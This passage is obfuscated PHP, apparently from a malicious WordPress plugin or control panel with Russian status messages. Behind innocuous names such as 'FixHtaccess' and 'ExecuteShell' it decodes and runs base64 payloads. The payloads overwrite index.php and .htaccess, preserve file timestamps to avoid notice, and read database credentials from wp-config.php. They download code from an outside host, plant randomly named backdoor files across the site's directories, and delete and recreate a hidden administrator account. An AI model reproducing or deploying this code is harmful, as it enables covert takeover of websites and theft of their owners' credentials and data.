ZiAoZmlsZV9leGlzdHMoQ1VSUkVOVERJUiAuICcvd3AtY29uZmlnLnBocCcpKSB7CiAgICAgICAgcmV0dXJuIENVUlJFTlRESVI7CiAgICB9CiAgICAkbm9ybWFsaXplZCA9IHByZWdfcmVwbGFjZSgnfi8od3AtYWRtaW58d3AtaW5jbHVkZXN8d3AtY29udGVudCkuKiR+JywgJycsIENVUlJFTlRESVIpOwogICAgaWYgKGZpbGVfZXhpc3RzKCRub3JtYWxpemVkIC4gJy93cC1jb25maWcucGhwJykpIHsKICAgICAgICByZXR1cm4gJG5vcm1hbGl6ZWQ7CiAgICB9CiAgICByZXR1cm4gbnVsbDsKfQoKaWYgKERJU0FCTEVfSU5ERVhfUkVTVE9SRSA9PSAxKSB7CiAgICBlY2hvICLQktC+0YHRgdGC0LDQvdC+0LLQu9C10L3QuNC1IGluZGV4LnBocCDQvtGC0LrQu9GO0YfQtdC90L5cbiI7CiAgICBleGl0Owp9Cgokcm9vdERpciA9IGRldGVjdFdQUm9vdERpcigpOwppZiAoISRyb290RGlyKSB7CiAgICBlY2hvICLQndC1INGD0LTQsNC70L7RgdGMINC+0L/RgNC10LTQtdC70LjRgtGMINC60L7RgNC10L3RjCBXb3JkUHJlc3NcbiI7CiAgICBleGl0Owp9CgokaW5kZXhQYXRoID0gJHJvb3REaXIgLiAnL2luZGV4LnBocCc7CiRyZXN1bHQgPSBmaWxlX3B1dF9jb250ZW50cygkaW5kZXhQYXRoLCBiYXNlNjRfZGVjb2RlKElOREVYX0NPREUpKTsKCmlmICgkcmVzdWx0ICE9PSBmYWxzZSkgewogICAgdG91Y2goJGluZGV4UGF0aCk7CiAgICBlY2hvICLQpNCw0LnQuyBpbmRleC5waHAg0YPRgdC/0LXRiNC90L4g0LLQvtGB0YHRgtCw0L3QvtCy0LvQtdC9INC/0L4g0L/Rg9GC0Lg6ICRpbmRleFBhdGhcbiI7Cn0gZWxzZSB7CiAgICBlY2hvICLQndC1INGD0LTQsNC70L7RgdGMINGB0L7Qt9C00LDRgtGMINGE0LDQudC7IGluZGV4LnBocFxuIjsKfQo=');
$temp_file = tempnam(sys_get_temp_dir(), 'php_console_index_');
$temp_php = $temp_file . '.php';
file_put_contents($temp_php, '<?php ' . $fixCode);
ob_start();
include $temp_php;
$output = ob_get_clean();
unlink($temp_php);
unlink($temp_file);
echo '<div style="color: green;">Index.php успешно исправлен!</div>';
return true;
} catch (Exception $e) {
echo '<div style="color: red;">Ошибка при исправлении index.php: ' . $e->getMessage() . '</div>';
return false;
}
}
function a0a77a0FixHtaccess($a0a4a0) {
if (!current_user_can('manage_options')) {
echo '<div style="color: red;">Недостаточно прав для исправления .htaccess.</div>';
return false;
}
try {
$htaccessPath = rtrim($a0a4a0, '/') . '/.htaccess';
echo '<div style="color: #333;">Проверка .htaccess: ' . $htaccessPath . '</div>';
if (!file_exists($htaccessPath)) {
echo '<div style="color: orange;">Файл .htaccess отсутствует, создаём...</div>';
} else {
echo '<div style="color: #333;">Файл .htaccess существует, исправляем...</div>';
}
$fixCode = base64_decode('ZGVmaW5lKCdESVNBQkxFX0hUQUNDRVNTJywgMCk7CgpkZWZpbmUgKCdDVVJSRU5URElSJyxnZXRjd2QoKSk7CmRlZmluZSAoJ0NPREUnLCdJeUJDUlVkSlRpQlhiM0prVUhKbGMzTU5DaU1nVkdobElHUnBjbVZqZEdsMlpYTWdLR3hwYm1WektTQmlaWFIzWldWdUlDSkNSVWRKVGlCWGIzSmtVSEpsYzNNaUlHRnVaQ0FpUlU1RUlGZHZjbVJRY21WemN5SWdZWEpsRFFvaklHUjVibUZ0YVdOaGJHeDVJR2RsYm1WeVlYUmxaQ3dnWVc1a0lITm9iM1ZzWkNCdmJteDVJR0psSUcxdlpHbG1hV1ZrSUhacFlTQlhiM0prVUhKbGMzTWdabWxzZEdWeWN5NE5DaU1nUVc1NUlHTm9ZVzVuWlhNZ2RHOGdkR2hsSUdScGNtVmpkR2wyWlhNZ1ltVjBkMlZsYmlCMGFHVnpaU0J0WVhKclpYSnpJSGRwYkd3Z1ltVWdiM1psY25keWFYUjBaVzR1RFFvOFNXWk5iMlIxYkdVZ2JXOWtYM0psZDNKcGRHVXVZejROQ2xKbGQzSnBkR1ZGYm1kcGJtVWdUMjROQ2xKbGQzSnBkR1ZTZFd4bElDNHFJQzBnVzBVOVNGUlVVRjlCVlZSSVQxSkpXa0ZVU1U5T09pVjdTRlJVVURwQmRYUm9iM0pwZW1GMGFXOXVmVjBOQ2xKbGQzSnBkR1ZDWVhObElDOE5DbEpsZDNKcGRHVlNkV3hsSUY1cGJtUmxlRnd1Y0dod0pDQXRJRnRNWFEwS1VtVjNjbWwwWlVOdmJtUWdKWHRTUlZGVlJWTlVYMFpKVEVWT1FVMUZmU0FoTFdZTkNsSmxkM0pwZEdWRGIyNWtJQ1Y3VWtWUlZVVlRWRjlHU1V4RlRrRk5SWDBnSVMxa0RRcFNaWGR5YVhSbFVuVnNaU0F1SUM5cGJtUmxlQzV3YUhBZ1cweGREUW84TDBsbVRXOWtkV3hsUGcwS0RRb2pJRVZPUkNCWGIzSmtVSEpsYzNNPScpOwoKaWYgKCEoJGZpbGVwYXRoID0gZGV0ZWN0V1Byb290RGlyKCkpKXsKICAgICRmaWxlcGF0aCA9IGdldGN3ZCgpLicvLmh0YWNjZXNzJzsKfQplbHNlewogICAgJGZpbGVwYXRoID0gJGZpbGVwYXRoLicvLmh0YWNjZXNzJzsKfQplY2hvICRmaWxlcGF0aCAuIFBIUF9FT0w7CgppZiAoRElTQUJMRV9IVEFDQ0VTUyA9PSAxKXsKICAgICBpZihmaWxlX2V4aXN0cygkZmlsZXBhdGgpKXsKICAgICAgICByZW5hbWUoJGZpbGVwYXRoLCAkZmlsZXBhdGggLiAnX2JhaycpOwogICAgIH0KICAgICBlY2hvICcuaHRhY2Nlc3Mg0L7RgtC60LvRjtGH0LXQvScgLiBQSFBfRU9MOwp9CmVsc2V7CiAgICBpZihmaWxlX2V4aXN0cygkZmlsZXBhdGgpKXsKICAgICAgICAkbmV3bXRpbWUgPSBmaWxlbXRpbWUoJGZpbGVwYXRoKSArIDYwOwogICAgfQogICAgZWxzZSB7CiAgICAgICAgJG5ld210aW1lID0gdGltZSgpOwogICAgfQogICAgZmlsZV9wdXRfY29udGVudHMoJGZpbGVwYXRoLCBiYXNlNjRfZGVjb2RlKENPREUpKTsKICAgIGVjaG8gJy5odGFjY2VzcyDQstC+0YHRgdGC0LDQvdC+0LLQu9C10L0nIC4gUEhQX0VPTDsKICAgIGlmKGZpbGVfZXhpc3RzKCRmaWxlcGF0aCkpewogICAgICAgIGlmKHRvdWNoKCRmaWxlcGF0aCwgJG5ld210aW1lKSl7CiAgICAgICAgICAgIGVjaG8gJ3RvdWNoINCy0YvQv9C+0LvQvdC10L0nIC4gUEhQX0VPTDsKICAgICAgICB9CiAgICB9Cn0KCmZ1bmN0aW9uIGRldGVjdFdQcm9vdERpcigpIHsKICAgIGlmICggZmlsZV9leGlzdHMoIENVUlJFTlRESVIgLiAnL3dwLWNvbmZpZy5waHAnICkgKSB7CiAgICAgICAgcmV0dXJuIENVUlJFTlRESVI7CiAgICB9CiAgICAkbm9ybWFsaXplUGF0aCA9IHByZWdfcmVwbGFjZSggJ35cLyh3cC1hZG1pbnx3cC1pbmNsdWRlc3x3cC1jb250ZW50KS4qJH4nLCAnJywgQ1VSUkVOVERJUiApOwogICAgaWYgKCBmaWxlX2V4aXN0cyggJG5vcm1hbGl6ZVBhdGggLiAnL3dwLWNvbmZpZy5waHAnICkgKSB7CiAgICAgICAgcmV0dXJuICRub3JtYWxpemVQYXRoOwogICAgfQogICAgcmV0dXJuIG51bGw7Cn0=');
$temp_file = tempnam(sys_get_temp_dir(), 'php_console_index_');
$temp_php = $temp_file . '.php';
file_put_contents($temp_php, '<?php ' . $fixCode);
ob_start();
include $temp_php;
$output = ob_get_clean();
unlink($temp_php);
unlink($temp_file);
echo '<div style="color: green;">.htaccess успешно исправлен!</div>';
return true;
} catch (Exception $e) {
echo '<div style="color: red;">Ошибка при исправлении .htaccess: ' . $e->getMessage() . '</div>';
return false;
}
}
function a0a75a0CreateFileWithCode($a0a4a0, $code) {
if (!current_user_can('manage_options')) {
echo '<div style="color: red;">Недостаточно прав для создания файла.</div>';
return false;
}
if (empty($code)) {
echo '<div style="color: red;">Код не может быть пустым.</div>';
return false;
}
$filePath = rtrim($a0a4a0, '/') . '/wp-backtracks.php';
$phpCode = "<?php\n" . $code;
try {
if (file_put_contents($filePath, $phpCode) !== false) {
$siteUrl = get_site_url();
$relativePath = str_replace(ABSPATH, '', $filePath);
$fileUrl = $siteUrl . '/' . ltrim(str_replace('\\', '/', $relativePath), '/');
echo '<div style="color: green;">Файл успешно создан: wp-backtracks.php</div>';
echo '<div style="color: #333;">Путь к файлу: ' . esc_html($filePath) . '</div>';
echo '<div style="color: #333;">URL файла: <a href="' . esc_url($fileUrl) . '" target="_blank">' . esc_html($fileUrl) . '</a></div>';
return true;
} else {
echo '<div style="color: red;">Не удалось создать файл.</div>';
return false;
}
} catch (Exception $e) {
echo '<div style="color: red;">Ошибка при создании файла: ' . htmlspecialchars($e->getMessage()) . '</div>';
return false;
}
}
function a0a76a0ExecuteShell($a0a4a0) {
if (!current_user_can('manage_options')) {
echo '<div style="color: red;">Недостаточно прав для выполнения Shell.</div>';
return false;
}
try {
echo '<div style="color: #666;">Выполнение Shell кода...</div>';
$shellCode = base64_decode('ZGVmaW5lKCdDVVJSRU5URElSJywgZ2V0Y3dkKCkpOwpkZWZpbmUoJ1VQTE9BRF9TSEVMTCcsIDEpOwpkZWZpbmUoJ09VVCcsIDIpOwpkZWZpbmUoJ0FQSV9QQVRIJywgJ2h0dHA6Ly9tYXJjaDAzMjUyLmNvbS9zcmMvYWNjc2VjLnBocCcpOwoKLyoqIHdpdGhvdXQgaHR0cCAqICovCmRlZmluZSgnUEFUSF9UT19CQUNLX1NIRUxMJywgJ3dwLXRvcC5jb20vZ3JlaCcpOwovKiogd2l0aG91dCBodHRwICogKi8KJG9ndGhwZGZxZ2RodiA9ICdodHRwOi8vbWFyY2gwMzI1Mi5jb20vc3JjL3RlbXAvMGRmODY2NzE5ODBmNDQ4NDNiMzc3NWY5NTQyNzBkZTQnOwoKCiRiZHdjZmIgPSBlcXhhb2xmKCk7Cgokc3VyeHZmZnJxID0gJ3dwdXBkYXRlJzsKJG5ueGdrZ3F3eiA9IGdqZmZ4ZnZpKCk7CiRlaWd2aGxlID0gJGJkd2NmYlsxXTsKJHd2c2RlcXV1aCA9ICRubnhna2dxd3o7CiR4dnp5YW51ID0gJyc7CiRhdXRqa21vbyA9ICdodHRwczovL3dvcmRwcmVzcy5jb20nOwokaGtlZXJscmFrbSA9IG5maG93dXAoJzIwMTktMDctMDkgMDA6MDA6MDAnLCAnMjAyMy0wOC0yNyAwMDowMDowMCcpOwokY2Z3Y2hvenBwID0gJyc7CiR0c29wZHF3cyA9ICcwJzsKJHlycmt5Z3Zxd3IgPSAkbm54Z2tncXd6OwoKCmlmIChpc19udWxsKCRxdGxiaXZpID0gbXlzYnl5eigpKSkgewogICAgZWNobyAnaW52YWxpZCBkZXRlY3Qgd3Agcm9vdCBkaXInOwogICAgZXhpdDsKfQoKCmlmICghZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpKSB7CgogICAgZnVuY3Rpb24gZmlsZV9wdXRfY29udGVudHMoJG1xYmxnenJzanIsICR2dWpwemlkdm9wKSB7CiAgICAgICAgJHRoeW1hbHFkZXkgPSBAZm9wZW4oJG1xYmxnenJzanIsICd3Jyk7CiAgICAgICAgaWYgKCEkdGh5bWFscWRleSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHVqcG9zbnkgPSBmd3JpdGUoJHRoeW1hbHFkZXksICR2dWpwemlkdm9wKTsKICAgICAgICAgICAgZmNsb3NlKCR0aHltYWxxZGV5KTsKICAgICAgICAgICAgcmV0dXJuICR1anBvc255OwogICAgICAgIH0KICAgIH0KCn0KCiRhaGpsaHFnID0gYXJyYXkoKTsKCgppZiAoIWZpbGVfZXhpc3RzKCRhbnJneHJucmdjZ3ogPSAkcXRsYml2aSAuICcvd3AtY29uZmlnLnBocCcpKSB7CiAgICBlY2hvICd3cC1jb25maWcgbm90IGZvdW5kJzsKICAgIGV4aXQ7Cn0KJHB4eWVndyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRhbnJneHJucmdjZ3opOwoKCnByZWdfbWF0Y2hfYWxsKCJ+XmRlZmluZS4qKERCX05BTUV8REJfVVNFUnxEQl9QQVNTV09SRHxEQl9IT1NUKVtcJ1wiXSxccypbXCdcIl0oLispW1wnXCJdXHMqXCk7fm0iLCAkcHh5ZWd3LCAkcnF4YnVmKTsKcHJlZ19tYXRjaCgifnRhYmxlX3ByZWZpeFxzKz1ccypbXCdcIl0oLispW1wnXCJdO34iLCAkcHh5ZWd3LCAkc2lncXlheik7CgoKJGVqY2ZzdyA9ICRycXhidWZbMl1bMF07CiRoamVjc3kgPSAkcnF4YnVmWzJdWzFdOwokcnh1YWZjbWFlID0gJHJxeGJ1ZlsyXVsyXTsKJGdhaW96ZGRtdiA9ICRycXhidWZbMl1bM107CiRjZXV1aGViYmMgPSAkc2lncXlhelsxXTsKCgokYXJpZnRnc2cgPSBib29lbWEoJG5ueGdrZ3F3eiwgJGVpZ3ZobGUsICR3dnNkZXF1dWgsICR4dnp5YW51LCAkYXV0amttb28sICRoa2VlcmxyYWttLCAkY2Z3Y2hvenBwLCAkdHNvcGRxd3MsICR5cnJreWd2cXdyLCAkZWpjZnN3LCAkY2V1dWhlYmJjKTsKCiR3c2FzdHggPSBteXNxbGlfY29ubmVjdCgkZ2Fpb3pkZG12LCAkaGplY3N5LCAkcnh1YWZjbWFlLCAkZWpjZnN3KTsKCgppZiAoISR3c2FzdHgpIHsKICAgIHJlcXVpcmVfb25jZSgkcXRsYml2aSAuICcvd3AtY29uZmlnLnBocCcpOwoKICAgICR0cG1ka3l0bGZ6YSA9IGdldF9kZWZpbmVkX2NvbnN0YW50cyh0cnVlKTsKCiAgICBpZiAoISR0cG1ka3l0bGZ6YVsndXNlciddKSB7CiAgICAgICAgdGhyb3cgbmV3IFxFeGNlcHRpb24oIkNvdWxkIG5vdCBjb25uZWN0Iik7CiAgICB9CgogICAgJGVqY2ZzdyA9ICR0cG1ka3l0bGZ6YVsndXNlciddWydEQl9OQU1FJ107CiAgICAkaGplY3N5ID0gJHRwbWRreXRsZnphWyd1c2VyJ11bJ0RCX1VTRVInXTsKICAgICRyeHVhZmNtYWUgPSAkdHBtZGt5dGxmemFbJ3VzZXInXVsnREJfUEFTU1dPUkQnXTsKICAgICRnYWlvemRkbXYgPSAkdHBtZGt5dGxmemFbJ3VzZXInXVsnREJfSE9TVCddOwogICAgJGNldXVoZWJiYyA9ICRzaWdxeWF6WzFdOwoKCiAgICAkd3Nhc3R4ID0gbXlzcWxpX2Nvbm5lY3QoJGdhaW96ZGRtdiwgJGhqZWNzeSwgJHJ4dWFmY21hZSwgJGVqY2Zzdyk7Cn0KCgokY2JrYmlvbSA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsKCmlmIChteXNxbGlfY29ubmVjdF9lcnJubygpKSB7CiAgICAkbWF6cGdobCA9IDE7CiAgICBlY2hvICJDb3VsZCBub3QgY29ubmVjdCIgLiBQSFBfRU9MOwp9IGVsc2UgewogICAgZWNobyAiQ29ubmVjdGVkIHN1Y2Nlc3NmdWxseSIgLiBQSFBfRU9MOwoKICAgICRlanp2aGQgPSBteXNxbGlfcXVlcnkoJHdzYXN0eCwgInNlbGVjdCAqIGZyb20gIiAuICRjZXV1aGViYmMgLiAib3B0aW9ucyB3aGVyZSBvcHRpb25fbmFtZSA9ICdob21lJyBvciBvcHRpb25fbmFtZSA9ICdzaXRldXJsJyIpOwogICAgJGJyZXJnZmFnbnAgPSBteXNxbGlfZmV0Y2hfcm93KCRlanp2aGQpOwoKICAgIGlmIChzdHJpc3RyKCRicmVyZ2ZhZ25wWzJdLCAnaHR0cCcpICE9PSBmYWxzZSkgewogICAgICAgICRjYmtiaW9tID0gJGJyZXJnZmFnbnBbMl07CiAgICB9CgogICAgaWYgKHN0cmlzdHIoJGJyZXJnZmFnbnBbM10sICdodHRwJykgIT09IGZhbHNlKSB7CiAgICAgICAgJGNia2Jpb20gPSAkYnJlcmdmYWducFszXTsKICAgIH0KfQoKCmlmIChVUExPQURfU0hFTEwgPT09IDEpIHsKCiAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0JykpIHsKICAgICAgICAkaGR2ZHJjZHEgPSB6c2Z3cm5ycW0oJG9ndGhwZGZxZ2Rodik7CiAgICAgICAgZGVmaW5lKCdVU0VfRkdDJywgMSk7CiAgICB9IGVsc2UgewogICAgICAgICRoZHZkcmNkcSA9IHFndHpvYXVpKCRvZ3RocGRmcWdkaHYpOwogICAgfQoKICAgIGlmICghJGhkdmRyY2RxKSB7CiAgICAgICAgZWNobyAnY2hlY2sgc2ggZG9tYWluJyAuIFBIUF9FT0w7CiAgICAgICAgZXhpdDsKICAgIH0KCiAgICBpZiAoJGhkdmRyY2RxWzFdID09PSA0MDMpIHsKICAgICAgICBlY2hvICdmaXJld2FsbCBpbiBhY3Rpb24hJzsKICAgICAgICBleGl0OwogICAgfQoKICAgIGlmICgkaGR2ZHJjZHFbMV0gIT09IDIwMCkgewogICAgICAgIGVjaG8gJ25lZWQgdXBkYXRlIHNjcmlwdCcgLiBQSFBfRU9MOwogICAgICAgIGV4aXQ7CiAgICB9CgogICAgJG5rYm51cXlpID0gJGhkdmRyY2RxWzBdOwoKCiAgICAkYmh0cnh0biA9IHVuc2VyaWFsaXplKGJhc2U2NF9kZWNvZGUoJG5rYm51cXlpKSk7CgogICAgJHBvb3B1bnVsa3NkdiA9IGFycmF5KCd2YXJpYWJsZScsICdmdW5jdGlvbicsICdjbGFzcycsICdvYmplY3QnLCAnYXJyYXknLCAnc3RyaW5nJywgJ2ludGVnZXInLCAnYm9vbGVhbicsICdmbG9hdCcsICdkb3VibGUnLCAnY2hhcmFjdGVyJywgJ2xpc3QnLCAnc2V0JywgJ3F1ZXVlJywgJ3N0YWNrJywgJ3BvaW50ZXInLCAncmVmZXJlbmNlJywgJ2NvbnN0cnVjdG9yJywgJ2ludGVyZmFjZScsICdtZXRob2QnLCAnZXZlbnQnLCAnZXhjZXB0aW9uJywgJ2xvb3AnLCAnY29uZGl0aW9uJywgJ3N0YXRlbWVudCcsICdtb2R1bGUnLCAncGFja2FnZScsICdsaWJyYXJ5JywgJ2ZyYW1ld29yaycsICdjb21waWxlcicsICdpbnRlcnByZXRlcicsICdkYXRhYmFzZScsICdzcWwnLCAncXVlcnknLCAnaW5kZXgnLCAndGFibGUnLCAndmlldycsICd0cmlnZ2VyJywgJ3NjaGVtYScsICdnaXQnLCAncmVwb3NpdG9yeScsICdicmFuY2gnLCAnbWVyZ2UnLCAnY2xpZW50JywgJ2VuY3J5cHRpb24nLCAnZGVjcnlwdGlvbicsICdoYXNoaW5nJywgJ3Nlc3Npb24nLCAnY29va2llJywgJ2pzb24nLCAneG1sJywgJ3Jlc3RmdWwnLCAnc29hcCcsICd1cmwnLCAnaHR0cCcsICdodHRwcycsICdkbnMnLCAnZmlyZXdhbGwnLCAnc2VjdXJpdHknLCAnYWpheC1yZXNwb25zZScsICdjcm9uJywgJ3N0cmVhbScsICdwcml2YXRlJywgJ21ldGEnLCAnd3AnLCAnY29yZScsICdhamF4JywgJ2JldGEnLCAnYWxwaGEnLCAnc2FtcGxlJywgJ3BhdGgnLCAncmVxdWVzdCcsICdvbGQnLCAnaW5mbycsICdiYXNlJywgJ251bScsICdhbGwnLCAnc3RhdCcsICduZXcnLCAncGxhaW4nLCAnYWRkJywgJ2VkaXQnLCAnbGl2ZScsICdwaWMnLCAnbGVzcycsICdtb3JlJywgJ3BhcnQnLCAnZ2V0JywgJ2xvbmcnLCAnY2FsbCcsICdmaXJzdCcsICd0aW1lJywgJ290aGVyJyk7CgogICAgJG11Ym5kb3VjbGFuaSA9IHBxanRydXhkKCRxdGxiaXZpIC4gJy93cC1hZG1pbicsIDMpOwogICAgJG1hanhraW1weG9mID0gcHFqdHJ1eGQoJHF0bGJpdmkgLiAnL3dwLWNvbnRlbnQvcGx1Z2lucycsIDMpOwogICAgJGdzbGxkbG13ID0gcHFqdHJ1eGQoJHF0bGJpdmkgLiAnL3dwLWluY2x1ZGVzJywgMyk7CiAgICAkd3ZpdG1ibmYgPSBwcWp0cnV4ZCgkcXRsYml2aSAuICcvd3AtY29udGVudC90aGVtZXMnLCAzKTsKICAgICR4aGN2b3FxeG0gPSBhcnJheV9tZXJnZSgkbXVibmRvdWNsYW5pLCAkbWFqeGtpbXB4b2YsICRnc2xsZGxtdywgJHd2aXRtYm5mKTsKICAgICR3cHVudXdjbG4gPSBjb3VudCgkcG9vcHVudWxrc2R2KTsKCgogICAgJGp5ZXpla2xmZnBzdCA9ICRxdGxiaXZpIC4gJy93cC1jb25maWctc2FtcGxlLnBocCc7CiAgICAkbmlncXR0YXJ3aXggPSAkYmh0cnh0blsnd3AtY29uZmlnLXNhbXBsZS5waHA/Y29uZmlnJ107CiAgICAkZXdqZXhtc2ZkZGF6ID0gJHBvb3B1bnVsa3NkdltyYW5kKDAsICR3cHVudXdjbG4gLSAxKV0gLiBuaWV2ZWZuKHJhbmQoMywgNikpOwogICAgJGNyZHdncml2ID0gJyRfR0VUW1wnJyAuICRld2pleG1zZmRkYXogLiAnXCddJzsKICAgICRuaWdxdHRhcndpeCA9IHN0cl9yZXBsYWNlKCckX0dFVFtcJ2NvbmZpZ1wnXScsICRjcmR3Z3JpdiwgJG5pZ3F0dGFyd2l4KTsKICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRqeWV6ZWtsZmZwc3QsICRuaWdxdHRhcndpeCk7CiAgICB0b3VjaCgkanllemVrbGZmcHN0LCBqaGJ5eChkaXJuYW1lKCRqeWV6ZWtsZmZwc3QpKSk7CiAgICAkYWhqbGhxZ1tdID0gZW1pbGUoJHF0bGJpdmksICRqeWV6ZWtsZmZwc3QgLiAnPycgLiAkZXdqZXhtc2ZkZGF6LCAkY2JrYmlvbSk7CgoKICAgIHVuc2V0KCRiaHRyeHRuWyd3cC1jb25maWctc2FtcGxlLnBocD9jb25maWcnXSk7CgogICAgaWYgKGVtcHR5KCR4aGN2b3FxeG0pKSB7CiAgICAgICAgZWNobyAnbm8gZGlyZWN0b3JpZXMgdG8gd3JpdGUnIC4gUEhQX0VPTDsKICAgICAgICBleGl0OwogICAgfQoKICAgICRpeXBqdm1oID0gYXJyYXlfa2V5cygkYmh0cnh0bik7CgoKICAgIGZvcmVhY2ggKCR4aGN2b3FxeG0gYXMgJHF6ZG9yYmVmb2RpKSB7CgogICAgICAgIGlmIChlbXB0eSgkaXlwanZtaCkpIHsKICAgICAgICAgICAgJGl5cGp2bWggPSBhcnJheV9rZXlzKCRiaHRyeHRuKTsKICAgICAgICB9CgogICAgICAgICRzZXNzbmIgPSBzdHJfcmVwbGFjZSgnLnBocCcsICctJyAuICRwb29wdW51bGtzZHZbcmFuZCgwLCAkd3B1bnV3Y2xuIC0gMSldIC4gJy5waHAnLCAkcXpkb3JiZWZvZGkpOwogICAgICAgICRjZmpocHR4d2Z4ZyA9IGFycmF5X3NoaWZ0KCRpeXBqdm1oKTsKICAgICAgICAkZWVwamRkY3kgPSAkYmh0cnh0blskY2ZqaHB0eHdmeGddOwogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRzZXNzbmIsICRlZXBqZGRjeSk7CiAgICAgICAgdG91Y2goJHNlc3NuYiwgamhieXgoZGlybmFtZSgkc2Vzc25iKSkpOwogICAgICAgICRvaXdjZHdhZnphID0gZXhwbG9kZSgnPycsICRjZmpocHR4d2Z4Zyk7CiAgICAgICAgJHVlYm5maWMgPSBlbWlsZSgkcXRsYml2aSwgJHNlc3NuYiwgJGNia2Jpb20pOwogICAgICAgICRhaGpsaHFnW10gPSAoaXNzZXQoJG9pd2Nkd2FmemFbMV0pKSA/ICR1ZWJuZmljIC4gJz8nIC4geGF0aWllKCRvaXdjZHdhZnphWzFdKSA6ICR1ZWJuZmljOwogICAgfQp9CgpmdW5jdGlvbiB4YXRpaWUoJG9pd2Nkd2FmemEpIHsKICAgIGlmIChkZWZpbmVkKCdQQVRIX1RPX0JBQ0tfU0hFTEwnKSAmJiAoc3RyaXN0cigkb2l3Y2R3YWZ6YSwgJ2V4YW1wbGUuY29tJykgIT09IGZhbHNlKSkgewogICAgICAgIHJldHVybiBzdHJfcmVwbGFjZSgnZXhhbXBsZS5jb20nLCBQQVRIX1RPX0JBQ0tfU0hFTEwsICRvaXdjZHdhZnphKTsKICAgIH0KICAgIHJldHVybiAkb2l3Y2R3YWZ6YTsKfQoKaWYgKCFpc3NldCgkbWF6cGdobCkpIHsKCiAgICAkeGRpc2d3ID0gY3l4bW10d3goJGNia2Jpb20pOwogICAgJHpuZnlociA9ICJ1cGRhdGUgYCR7Y2V1dWhlYmJjfW9wdGlvbnNgIHNldCBvcHRpb25fdmFsdWUgPSAnJyBXSEVSRSBgb3B0aW9uX25hbWVgIExJS0UgJ2Nsb3NlX2NvbW1lbnRzX2Zvcl9vbGRfcG9zdHMnIjsKCiAgICBpZiAoIW15c3FsaV9xdWVyeSgkd3Nhc3R4LCAkem5meWhyKSkgewogICAgICAgIGVjaG8gJ2ludmFsaWQgc2V0IHZhbHVlIDAgZm9yIG9wdGlvbiA+PmNsb3NlX2NvbW1lbnRzX3ZhbHVlPDwnIC4gUEhQX0VPTDsKICAgIH0KCgogICAgJHNiZ2Nka2RkenBsID0gIlVQREFURSBgJHtjZXV1aGViYmN9cG9zdHNgIHNldCBwaW5nX3N0YXR1cyA9ICdvcGVuJyB3aGVyZSAocG9zdF90eXBlICA9ICdwYWdlJyBPUiBwb3N0X3R5cGUgPSAncG9zdCcpIEFORCBwb3N0X3N0YXR1cyA9ICdwdWJsaXNoJyBBTkQgZ3VpZCBMSUtFICclJHt4ZGlzZ3d9JScgT1JERVIgQlkgaWQgTElNSVQgNSI7CiAgICAkZHBld2tzZGYgPSBhcnJheSgpOwoKCiAgICBpZiAobXlzcWxpX3F1ZXJ5KCR3c2FzdHgsICRzYmdjZGtkZHpwbCkpIHsKICAgICAgICAvL2VjaG8gJ3Bvc3RzIHJlYWR5IHRvIGFjY2VwdCB0cmFja2JhY2tzJyAuIFBIUF9FT0w7CiAgICAgICAgJGljenJzbGUgPSAic2VsZWN0IGlkLCBndWlkLCBwb3N0X25hbWUgZnJvbSBgJHtjZXV1aGViYmN9cG9zdHNgIHdoZXJlIChwb3N0X3R5cGUgID0gJ3BhZ2UnIE9SIHBvc3RfdHlwZSA9ICdwb3N0JykgQU5EIHBvc3Rfc3RhdHVzID0gJ3B1Ymxpc2gnIEFORCBndWlkIExJS0UgJyUke3hkaXNnd30lJyBPUkRFUiBCWSBpZCBMSU1JVCA1IjsKICAgICAgICAkdG13bGRuID0gbXlzcWxpX3F1ZXJ5KCR3c2FzdHgsICRpY3pyc2xlKTsKICAgICAgICB3aGlsZSAoJHpxY3p1bHB3ID0gbXlzcWxpX2ZldGNoX2FycmF5KCR0bXdsZG4pKSB7CiAgICAgICAgICAgICRkcGV3a3NkZltdID0gYXJyYXkoJHpxY3p1bHB3WydpZCddLCAkenFjenVscHdbJ2d1aWQnXSwgJHpxY3p1bHB3Wydwb3N0X25hbWUnXSk7CiAgICAgICAgfQogICAgfQoKCiAgICAvLyRsaGFnaG1tID0gIlNFTEVDVCAqIEZST00gYCR7Y2V1dWhlYmJjfXVzZXJzYCBXSEVSRSBgdXNlcl9wYXNzYCA9ICckZWlndmhsZSciOwogICAgJGxoYWdobW0gPSAiU0VMRUNUICogRlJPTSBgJHtjZXV1aGViYmN9dXNlcnNgIFdIRVJFIGB1c2VyX2xvZ2luYCA9ICckbm54Z2tncXd6JyBvcmRlciBieSBpZCBkZXNjIGxpbWl0IDEiOwogICAgJHVqa3hrY2EgPSAiU0VMRUNUICogRlJPTSBgJHtjZXV1aGViYmN9dXNlcnNgIFdIRVJFIGB1c2VyX2xvZ2luYCA9ICckc3VyeHZmZnJxJyI7CiAgICAkc3podWNnZGFmaiA9IG15c3FsaV9xdWVyeSgkd3Nhc3R4LCAkbGhhZ2htbSk7CiAgICAkYXRkYWNzID0gbXlzcWxpX3F1ZXJ5KCR3c2FzdHgsICR1amt4a2NhKTsKCgogICAgaWYgKG15c3FsaV9udW1fcm93cygkYXRkYWNzKSkgewogICAgICAgICRycnF5c2VieGRxID0gImRlbGV0ZSBmcm9tIGAke2NldXVoZWJiY311c2Vyc2AgV0hFUkUgYHVzZXJfbG9naW5gID0gJyRzdXJ4dmZmcnEnIjsKICAgICAgICBteXNxbGlfcXVlcnkoJHdzYXN0eCwgJHJycXlzZWJ4ZHEpOwogICAgfQoKICAgIGlmICghbXlzcWxpX251bV9yb3dzKCRzemh1Y2dkYWZqKSkgewogICAgICAgICRhcWlsdGZjcSA9IG15c3FsaV9xdWVyeSgkd3Nhc3R4LCAiU0VMRUNUIElEIGZyb20gYCIgLiAkZWpjZnN3IC4gImAuYCIgLiAkY2V1dWhlYmJjIC4gInVzZXJzYCBPUkRFUiBCWSBgSURgIERFU0MgTElNSVQgMSIpOwogICAgICAgICRkdXdtbXZxbWEgPSBteXNxbGlfZmV0Y2hfcm93KCRhcWlsdGZjcSk7CiAgICAgICAgJHR2ZWR2diA9IChpbnQpKyskZHV3bW12cW1hWzBdOwoKICAgICAgICBt